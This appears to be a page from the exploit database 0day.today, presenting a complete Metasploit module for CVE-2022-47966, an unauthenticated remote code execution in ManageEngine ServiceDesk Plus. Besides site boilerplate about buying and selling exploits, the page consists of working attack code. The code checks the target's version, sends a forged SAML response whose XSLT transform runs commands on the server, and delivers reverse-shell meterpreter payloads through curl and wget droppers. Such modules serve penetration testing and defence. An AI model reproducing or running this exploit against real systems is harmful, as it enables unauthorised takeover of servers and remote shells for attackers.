0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE', 'Description' => %q{ This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted `samlResponse` XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status. }, 'Author' => [ 'Khoa Dinh', # Original research 'horizon3ai', # PoC 'Christophe De La Fuente' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-47966'], ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] ], 'Platform' => ['win', 'unix', 'linux'], 'Payload' => { 'BadChars' => "\x27" }, 'Targets' => [ [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, 'CmdStagerFlavor' => %w[curl wget echo lwprequest] } ] ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'DefaultTarget' => 1, 'DisclosureDate' => '2023-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE,], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]), OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) ) return CheckCode::Unknown unless res # vulnerable servers respond with 400 and a HTML body return CheckCode::Safe unless res.code == 400 script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]') info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/) return CheckCode::Unknown unless info unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus' return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})") end # SAML 2.0 support has been added in build 10511 # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105 build = Rex::Version.new(info[:build]) unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003') return CheckCode::Safe("Target build is #{info[:build]}") end CheckCode::Appears end def encode_begin(real_payload, reqs) super reqs['EncapsulationRoutine'] = proc do |_reqs, raw| raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw end end def exploit case target['Type'] when :windows_command, :unix_cmd execute_command(payload.encoded) when :windows_dropper, :linux_dropper execute_cmdstager(delay: datastore['DELAY']) end end def execute_command(cmd, _opts = {}) case target['Type'] when :windows_dropper cmd = "cmd /c #{cmd}" when :unix_cmd, :linux_dropper cmd = cmd.gsub(' ') { '${IFS}' } cmd = "bash -c #{cmd}" end cmd = cmd.encode(xml: :attr).gsub('"', '') assertion_id = "_#{SecureRandom.uuid}" # Randomize variable names and make sure they are all different using a Set vars = Set.new loop do vars << Rex::Text.rand_text_alpha_lower(5..8) break unless vars.size < 3 end vars = vars.to_a saml = <<~EOS <?xml version="1.0" encoding="UTF-8"?> <samlp:Response ID="_#{SecureRandom.uuid}" InResponseTo="_#{Rex::Text.rand_text_hex(32)}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="#{assertion_id}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="##{assertion_id}"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/> <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/> <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/> <xsl:value-of select="$#{vars[2]}"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue> <ds:KeyInfo/> </ds:Signature> </Assertion> </samlp:Response> EOS res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_post' => { 'SAMLResponse' => Rex::Text.encode_base64(saml) } }) unless res&.code == 500 lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip) unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') } elog("Unkown error returned:\n#{lines.join("\n")}") fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.") end fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)') end res end end # 0day.today [2024-11-15] #